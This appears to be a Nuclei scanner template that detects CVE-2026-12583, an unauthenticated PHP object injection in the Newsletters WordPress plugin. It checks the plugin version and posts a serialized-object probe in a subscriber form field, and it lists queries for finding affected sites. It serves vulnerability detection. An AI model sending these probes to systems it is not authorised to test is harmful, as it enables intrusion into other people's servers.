id: CVE-2026-12583 info: name: Newsletters < 4.15 - Unauthenticated PHP Object Injection via Subscriber Custom Field author: yaswanth severity: high description: | The Newsletters WordPress plugin before 4.15 does not prevent deserialization of untrusted input that is stored through a public form, allowing unauthenticated attackers to inject a PHP object and, via a property-oriented gadget chain bundled with the Newsletters WordPress plugin before 4.15, write arbitrary files and execute code on the server. impact: | Unauthenticated attackers can execute arbitrary code and write files on the server, leading to full server compromise. remediation: Update the Newsletters plugin to version 4.15 or later. reference: - https://wpscan.com/vulnerability/e4c44105-f43d-4dff-8487-7d8ae2691c4e - https://nvd.nist.gov/vuln/detail/CVE-2026-12583 - https://www.cve.org/CVERecord?id=CVE-2026-12583 - https://wordpress.org/plugins/newsletters-lite/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2026-12583 epss-score: 0.02027 epss-percentile: 0.81155 cwe-id: CWE-502 metadata: verified: true max-request: 2 vendor: newsletters-lite product: newsletters-lite framework: wordpress publicwww-query: "/wp-content/plugins/newsletters-lite" fofa-query: body="/wp-content/plugins/newsletters-lite" tags: cve,cve2026,wordpress,wp-plugin,newsletters-lite,unauth,deserialization,object-injection,rce flow: http(1) && http(2) http: - raw: - | GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'compare_versions(version, "< 4.15")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: version part: body internal: true group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' - raw: - | POST /?wpmlmethod=optin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded email={{randstr}}%40example.com&list_id%5B%5D=1&consent%5B%5D=1&firstname=O%3A1%3A%22a%22%3A0%3A%7B%7D matchers-condition: and matchers: - type: regex part: header regex: - '(?i)location:.*wpmlmethod=optin' - type: status status: - 302 # digest: 4a0a00473045022058fadeeb02b093ac1e3aa928b71a25ac89075882e4101a7cab566bb1a464e789022100ec0547285f42e8e35594baa4c14c629a898a38da297fff57bc2fa28b5a0a8053:922c64590222798bb761d5b6d8e72950